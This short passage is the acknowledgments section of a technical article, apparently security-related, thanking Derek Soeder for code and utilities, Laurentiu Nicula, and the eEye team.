First and foremost, a huge thanks to Derek Soeder for helping with most aspects of this article and contributing code and utilities. I'd also like to thank Laurentiu Nicula, and of course all of the eEye hustlers.